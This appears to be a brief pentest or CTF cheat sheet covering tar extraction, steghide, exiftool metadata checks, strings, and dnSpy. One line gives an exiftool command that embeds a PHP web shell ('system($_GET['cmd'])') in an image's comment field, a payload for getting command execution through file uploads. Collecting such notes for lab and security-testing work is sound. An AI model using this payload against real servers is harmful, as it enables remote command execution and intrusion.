File Extraction & Reverse Eng.

File Extraction

Tar

untar + unzip

tar xvzf file.tar.gz

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Stegnography

extracting stego files

steghide extract -sf irked.jpg

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Exiftool

check metadata

exiftool file.pdf

inject payload in image

exiftool -Comment='<?php system($_GET['cmd']); ?>' cat.jpeg

Reverse Engineer

Strings

Check the strings of executable files for both windows (.exe) & Linux (binary)

strings file

strings -e l file

dnSpy

GitHub - dnSpyEx/dnSpy: Unofficial revival of the well known .NET debugger and assembly editor, dnSpyGitHub